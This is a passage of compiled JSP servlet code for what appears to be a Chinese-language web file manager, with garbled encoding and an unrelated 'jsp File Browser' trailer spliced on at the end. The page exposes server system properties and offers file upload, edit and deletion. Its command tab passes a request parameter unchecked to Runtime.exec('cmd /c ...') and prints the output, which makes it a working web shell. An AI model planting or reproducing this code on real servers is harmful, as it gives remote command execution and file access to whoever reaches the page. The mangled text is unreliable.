out.print(prop.getProperty("java.class.path")); out.write("</li>\r\n"); out.write("\t\t\t\t\t<li>ç?¨æ?·æ??å±?å?½å®¶:"); out.print(prop.getProperty("user.country")); out.write("</li>\r\n"); out.write("\t\t\t\t\t<li>æ??ä½?ç³»ç»?:"); out.print(prop.getProperty("os.name")); out.write("</li>\r\n"); out.write("\t\t\t\t\t<li>å?符é??:"); out.print(prop.getProperty("sun.jnu.encoding")); out.write("</li>\r\n"); out.write("\t\t\t\t\t<li>å½?å??æ??件ç»?对路å¾?:"); out.print(application.getRealPath(strThisFile)); out.write("</li>\r\n"); out.write("\t\t\t\t\t<li>å½?å??æ??件URLè·¯å¾?:"); out.print(request.getRequestURL().toString()); out.write("</li>\r\n"); out.write("\t\t\t\t\t<li>ç?¨æ?·å½?å??å·¥ä½?ç?®å½?:"); out.print(prop.getProperty("user.dir")); out.write("</li>\r\n"); out.write("\t\t\t\t\t<li>ç?¨æ?·ä¸»ç?®å½?:"); out.print(prop.getProperty("user.home")); out.write("</li>\r\n"); out.write("\t\t\t\t\t<li>ç?¨æ?·è´¦æ?·å??称:"); out.print(prop.getProperty("user.name")); out.write("</li>\r\n"); out.write("\t\t\t\t\t<li>å??å?使ç?¨æ??å?µ:\r\n"); out.write("\t\t\t\t\t\t<ul>\r\n"); out.write("\t\t\t\t\t\t\t"); long endMem = Runtime.getRuntime().freeMemory(); long total = Runtime.getRuntime().maxMemory(); out.println("<li>Total Memory:" + total + "</li>"); out.println("<li>Start Memory:" + startMem + "</li>"); out.println("<li>End Memory:" + endMem + "</li>"); out.println("<li>Use memory: " + (startMem - endMem) + "</li>"); long endTime = System.currentTimeMillis(); out.println("<li>Use Time: " + (endTime - startTime) + "</li>"); out.write("\r\n"); out.write("\t\t\t\t\t\t</ul>\r\n"); out.write("\t\t\t\t\t</li>\r\n"); out.write("\t\t\t\t</ol>\r\n"); out.write("\t\t\t</div>\r\n"); out.write("\t\t\t<div id=\"menu4\" class=\"tabcontent\">\r\n"); out.write("\t\t\t\t<ul>\r\n"); out.write("\t\t\t\t\t<li>å??è?½è¯´æ??</li>\r\n"); out.write("\t\t\t\t\t\t<ol>\r\n"); out.write("\t\t\t\t\t\t\t<li>jsp ç??æ?¬ç??æ??件管ç??å?¨ï¼?é??è¿?该ç¨?åº?å?¯ä»¥è¿?ç¨?管ç??æ??å?¡å?¨ä¸?ç??æ??件系ç»?ï¼?æ?¨å?¯ä»¥æ?°å»ºã??ä¿®æ?¹ã??å? é?¤ã??ä¸?è½½æ??件å??ç?®å½?ã??</li>\r\n"); out.write("\t\t\t\t\t\t\t<li>对äº?windowsç³»ç»?ï¼?è¿?æ??ä¾?äº?å?½ä»¤è¡?çª?å?£ç??å??è?½ï¼?å?¯ä»¥è¿?è¡?ä¸?äº?ç¨?åº?ï¼?类似ä¸?windowsç??cmdã??</li>\r\n"); out.write("\t\t\t\t\t\t</ol>\r\n"); out.write("\t\t\t\t\t<li>ç??æ??说æ??</li>\r\n"); out.write("\t\t\t\t\t\t<ol>\r\n"); out.write("\t\t\t\t\t\t\t<li></li>\r\n"); out.write("\t\t\t\t\t\t\t<li></li>\r\n"); out.write("\t\t\t\t\t\t</ol>\r\n"); out.write("\t\t\t\t\t<li>æ?´æ?°è®°å½?</li>\r\n"); out.write("\t\t\t\t\t\t<ol>\r\n"); out.write("\t\t\t\t\t\t\t<li>2008.05.16 å? é?¤å¾ªç?¯è?·å??ç³»ç»?ç?¸å?³å±?æ?§å??è?½,å??å? è§?bug - éª?士</li>\r\n"); out.write("\t\t\t\t\t\t\t<li>2008.05.16 å¢?å? 对æ??å®?ç?®å½?跳转å??è?½,ä¿®æ?¹é??å?¨æ??件ä¸æ??å®?æ??件å??ç??æ??ä½?,è?ªå?¨è?·å?? - éª?士</li>\r\n"); out.write("\t\t\t\t\t\t\t<li>2008.05.15 å¢?å? 对æµ?è§?ç?®å½?æ??å®?æ??å??å??è?½,å¢?å? å? é?¤ç?®å½?å??è?½ - éª?士</li>\r\n"); out.write("\t\t\t\t\t\t\t<li>2007.12.27 å¢?å? ç?»å½?éª?è¯?å??è?½ - éª?士</li>\r\n"); out.write("\t\t\t\t\t\t\t<li>2007.12.26 ä¿®æ?¹ç¨?åº?é?¨å??ä¸?æ?¨è??使ç?¨ç??æ?¹æ³?,å¢?å? ç³»ç»?å?ºæ?¬å±?æ?§æ?¥ç??å??è?½,é?¨å??代ç ?é??å?? - éª?士</li>\r\n"); out.write("\t\t\t\t\t\t\t<li>2004.11.15 V0.9æµ?è¯?ç??å??å¸?ï¼?å¢?å? äº?ä¸?äº?å?ºæ?¬ç??å??è?½ï¼?æ??件ç¼?è¾?ã??å¤?å?¶ã??å? é?¤ã??ä¸?è½½ã??ä¸?ä¼ ä»¥å??æ?°å»ºæ??件ç?®å½?å??è?½</li>\r\n"); out.write("\t\t\t\t\t\t\t<li>2004.10.27 æ??æ?¶å®?为0.6ç??å?§ï¼? æ??ä¾?äº?ç?®å½?æ??件æµ?è§?å??è?½ å?? cmdå??è?½</li>\r\n"); out.write("\t\t\t\t\t\t\t<li>2004.09.20 第ä¸?个jspç¨?åº?å°±æ?¯è¿?个ç®?å??ç??æ?¾ç¤ºç?®å½?æ??件ç??å°?ç¨?åº?</li>\r\n"); out.write("\t\t\t\t\t\t</ol>\r\n"); out.write("\t\t\t\t\t<li>Bug说æ??</li>\r\n"); out.write("\t\t\t\t\t\t<ol>\r\n"); out.write("\t\t\t\t\t\t\t<li>å½?ä¸?ä¼ æ??件æ?¶,å¦?æ??件æ??å?¨é¡¹ç?®ä¸ä½¿ç?¨å?°Strutsç?¸å?³jarå??,ä¼?å?ºç?°å¼?常æ??å?µ</li>\r\n"); out.write("\t\t\t\t\t\t\t<li>循ç?¯å??举å?ºç³»ç»?ç?¸å?³å±?æ?§æ?¶,ä¼?æ??å?ºå¼?常,æ¤å??è?½å·²å? é?¤(å??å? ä¸?详,å?¨ä¸?äº?æ?ºå?¨ä¸?ä¼?å?ºç?°,ä½?æ?¬æ?ºæµ?è¯?æ? é?®é¢?),å¦?é??å? ä¸?,ç?¸å?³ä»£ç ?å¦?ä¸?:</li>\r\n"); out.write("\t\t\t\t\t\t\t<blockquote>\r\n"); out.write("\t\t\t\t\t\t\t\t<%<br />\r\n"); out.write("\t\t\t\t\t\t\t\tProperties props=System.getProperties();<br />\r\n"); out.write("\t\t\t\t\t\t\t\tIterator iter=props.keySet().iterator();<br />\r\n"); out.write("\t\t\t\t\t\t\t\twhile(iter.hasNext())<br />\r\n"); out.write("\t\t\t\t\t\t\t\t{<br />\r\n"); out.write("\t\t\t\t\t\t\t\tString key=(String)iter.next();<br />\r\n"); out.write("\t\t\t\t\t\t\t\t%><br /> \r\n"); out.write("\t\t\t\t\t\t\t\t<li><%=key%>:<%=props.get(key)%></li><br />\r\n"); out.write("\t\t\t\t\t\t\t\t<%}\r\n"); out.write("\t\t\t\t\t\t\t\t%>\r\n"); out.write("\t\t\t\t\t\t\t</blockquote>\r\n"); out.write("\t\t\t\t\t\t</ol>\r\n"); out.write("\t\t\t\t</ul>\r\n"); out.write("\t\t\t</div>\r\n"); out.write("\t\t\t<div id=\"menu1\" class=\"tabcontent\">\r\n"); out.write("\t\t\t<form action=\"\" method=\"post\">\r\n"); out.write("\t\t\t<input type=\"hidden\" name=\"action\" value=\"goPath\">\r\n"); out.write("\t\t\t<input type=\"hidden\" name=\"file\" value=\""); out.print(strFile); out.write("\">\r\n"); out.write("\t\t\t<input type=\"hidden\" name=\"cmd\" value=\""); out.print(strCmd); out.write("\">\r\n"); out.write("\t\t\t<input type=\"hidden\" name=\"tabID\" value=\"1\">\r\n"); out.write("\t\t\t<input type=\"hidden\" name=\"content\" value=\"\">\r\n"); out.write("\t\t\t\t<table border='1' width='100%' bgcolor='#B1CCEA' cellspacing=0\r\n"); out.write("\t\t\t\t\tcellpadding=5>\r\n"); out.write("\t\t\t\t\t<tr>\r\n"); out.write("\t\t\t\t\t\t<td width='60%'>"); out.print(strCurrentFolder[languageNo]); out.write(":\r\n"); out.write("\t\t\t\t\t\t\t<input type=\"text\" value=\""); out.print(strDir); out.write("\" name=\"path\" style=\"width:450px;\">\r\n"); out.write("\t\t\t\t\t\t\t<input type=\"submit\" value=\"转å?°\">\r\n"); out.write("\t\t\t\t\t\t</td>\r\n"); out.write("\t\t\t\t\t\t<td>"); out.print(getDrivers()); out.write("</td>\r\n"); out.write("\t\t\t\t\t</tr>\r\n"); out.write("\t\t\t\t</table>\r\n"); out.write("\t\t\t</form>\r\n"); out.write("\t\t\t\t<table width=\"100%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\">\r\n"); out.write("\t\t\t\t\t<tr>\r\n"); out.write("\t\t\t\t\t\t<td width=\"25%\" align=\"center\" valign=\"top\">\r\n"); out.write("\t\t\t\t\t\t\t<table width=\"98%\" border=\"0\" cellspacing=\"0\" cellpadding=\"3\">\r\n"); out.write("\t\t\t\t\t\t\t\t"); out.print(sbFolder); out.write("\r\n"); out.write("\t\t\t\t\t\t\t</table>\r\n"); out.write("\t\t\t\t\t\t</td>\r\n"); out.write("\t\t\t\t\t\t<td width=\"81%\" align=\"left\" valign=\"top\">\r\n"); out.write("\t\t\t\t\t\t\t<table width=\"98%\" border=\"1\" cellspacing=\"1\" cellpadding=\"4\"\r\n"); out.write("\t\t\t\t\t\t\t\tbgcolor=\"#ffffff\">\r\n"); out.write("\t\t\t\t\t\t\t\t<tr bgcolor=\"#E7e7e6\">\r\n"); out.write("\t\t\t\t\t\t\t\t\t<td colspan=\"4\">"); if (strAction != null && strAction.equals("edit")) { out.println(sbEdit.toString()); } else if (strAction != null && strAction.equals("copy")) { out.println(sbCopy.toString()); } else if (strAction != null && strAction.equals("down")) { out.println(sbDown.toString()); } else if (strAction != null && strAction.equals("savecopy")) { out.println(sbSaveCopy.toString()); } else if (strAction != null && strAction.equals("newFile") && !sbNewFile.toString().equals("")) { out.println(sbNewFile.toString()); } else if( strAction!=null && "zipFolder".equals(strAction)){ out.println(sbZip.toString()); } else { out.println("æ??ä½?ä¿¡æ?¯æ??示"); } out.write("</td>\r\n"); out.write("\t\t\t\t\t\t\t\t</tr>\r\n"); out.write("\t\t\t\t\t\t\t\t<tr bgcolor=\"#E7e7e6\">\r\n"); out.write("\t\t\t\t\t\t\t\t\t<td width=\"26%\">"); out.print(strFileName[languageNo]); out.write("</td>\r\n"); out.write("\t\t\t\t\t\t\t\t\t<td width=\"19%\">"); out.print(strFileSize[languageNo]); out.write("</td>\r\n"); out.write("\t\t\t\t\t\t\t\t\t<td width=\"29%\">"); out.print(strLastModified[languageNo]); out.write("</td>\r\n"); out.write("\t\t\t\t\t\t\t\t\t<td width=\"26%\">"); out.print(strFileOperation[languageNo]); out.write("</td>\r\n"); out.write("\t\t\t\t\t\t\t\t</tr>\r\n"); out.write("\t\t\t\t\t\t\t\t"); out.print(sbFile); out.write("\r\n"); out.write("\t\t\t\t\t\t\t</table>\r\n"); out.write("\t\t\t\t\t\t</td>\r\n"); out.write("\t\t\t\t\t</tr>\r\n"); out.write("\t\t\t\t\t<tr>\r\n"); out.write("\t\t\t\t\t\t<td colspan=2 bgcolor=#B1CCEA>\r\n"); out.write("\t\t\t\t\t\t\t<form name=\"frmMake\" action=\"\" method=\"post\" class=\"form1\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"action\" value=\"newFile\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"path\" value=\""); out.print(strDir); out.write("\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"file\" value=\""); out.print(strFile); out.write("\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"cmd\" value=\""); out.print(strCmd); out.write("\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"tabID\" value=\"1\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"content\" value=\"\">\r\n"); out.write("\t\t\t\t\t\t\t\t"); if (!strDir.endsWith("\\")) strDir = strDir + "\\"; out.write("\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"text\" name=\"fileName\" size=36 value=\""); out.print(strDir); out.write("\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"btnNewFile\"\r\n"); out.write("\t\t\t\t\t\t\t\t\tvalue=\""); out.print(strCreateFile[languageNo]); out.write("\"\r\n"); out.write("\t\t\t\t\t\t\t\t\tonclick=\"frmMake.submit()\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"btnNewDir\"\r\n"); out.write("\t\t\t\t\t\t\t\t\tvalue=\""); out.print(strCreateFolder[languageNo]); out.write("\"\r\n"); out.write("\t\t\t\t\t\t\t\t\tonclick=\"frmMake.submit()\">\r\n"); out.write("\t\t\t\t\t\t\t</form>\r\n"); out.write("\t\t\t\t\t\t\t<form name=\"frmUpload\" enctype=\"multipart/form-data\" action=\"\"\r\n"); out.write("\t\t\t\t\t\t\t\tmethod=\"post\" class=\"form1\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"action\" value=\"upload\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"path\" value=\""); out.print(strDir); out.write("\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"file\" value=\""); out.print(strFile); out.write("\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"cmd\" value=\""); out.print(strCmd); out.write("\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"tabID\" value=\"1\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"hidden\" name=\"content\" value=\"\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"file\" name=\"cqqUploadFile\" size=\"36\">\r\n"); out.write("\t\t\t\t\t\t\t\t<input type=\"submit\" name=\"submit\"\r\n"); out.write("\t\t\t\t\t\t\t\t\tvalue=\""); out.print(strUpload[languageNo]); out.write("\">\r\n"); out.write("\t\t\t\t\t\t\t</form>\r\n"); out.write("\t\t\t\t\t\t</td>\r\n"); out.write("\t\t\t\t\t</tr>\r\n"); out.write("\t\t\t\t</table>\r\n"); out.write("\t\t\t</div>\r\n"); out.write("\t\t\t<div id=\"menu2\" class=\"tabcontent\">\r\n"); out.write("\t\t\t\t"); String line = ""; StringBuffer sbCmd = new StringBuffer(""); if (strCmd != null) { try { //out.println(strCmd); Process p = Runtime.getRuntime().exec( "cmd /c " + strCmd); BufferedReader br = new BufferedReader( new InputStreamReader(p.getInputStream())); while ((line = br.readLine()) != null) { sbCmd.append(line + "\r\n"); } } catch (Exception e) { System.out.println(e.toString()); } } else { strCmd = """"; } out.write("\r\n"); out.write("\t\t\t\t<form name=\"cmd\" action=\"\" method=\"post\">\r\n"); out.write("\t\t\t\t\t<input type=\"text\" name=\"cmd\" value=\""); out.print(strCmd ); out.write("\" size=50>\r\n"); out.write("\t\t\t\t\t<input type=\"hidden\" name=\"tabID\" value=\"2\">\r\n"); out.write("\t\t\t\t\t<input type=submit name=submit value=\""); out.print(strExecute[languageNo]); out.write("\">\r\n"); out.write("\t\t\t\t</form>\r\n"); out.write("\t\t\t\t"); if (sbCmd != null && sbCmd.toString().trim().equals("") == false) { out.write("\r\n"); out.write("\t\t\t\t<TEXTAREA NAME=\"cqq\" ROWS=\"20\" COLS=\"100%\">"); out.print(sbCmd.toString()); out.write("</TEXTAREA>\r\n"); out.write("\t\t\t\t"); } out.write("\r\n"); out.write("\t\t\t</DIV>\r\n"); out.write("\t\t</div>\r\n"); out.write("\t\t"); } out.write("\r\n"); out.write("\t\t<div align=\"center\" Style=\"margin: 5px;\">\r\n"); out.write("\t\t\t<a href=\"\" target=\"_blank\"></a>\r\n"); out.write("\t\t</div>\r\n"); out.write("\t</body>\r\n"); out.write("</html>"); } catch (Throwable t) { if (!(t instanceof SkipPageException)){ out = _jspx_out; if (out != null && out.getBufferSize() != 0) try { out.clearBuffer(); } catch (java.io.IOException e) {} if (_jspx_page_context != null) _jspx_page_context.handlePageException(t); else log(t.getMessage(), t); } } finally { _jspxFactory.releasePageContext(_jspx_page_context); } } }
Ms-Dos/Windows
Unix
Write backup
jsp File Browser version 1.2 by
www.vonloesch.de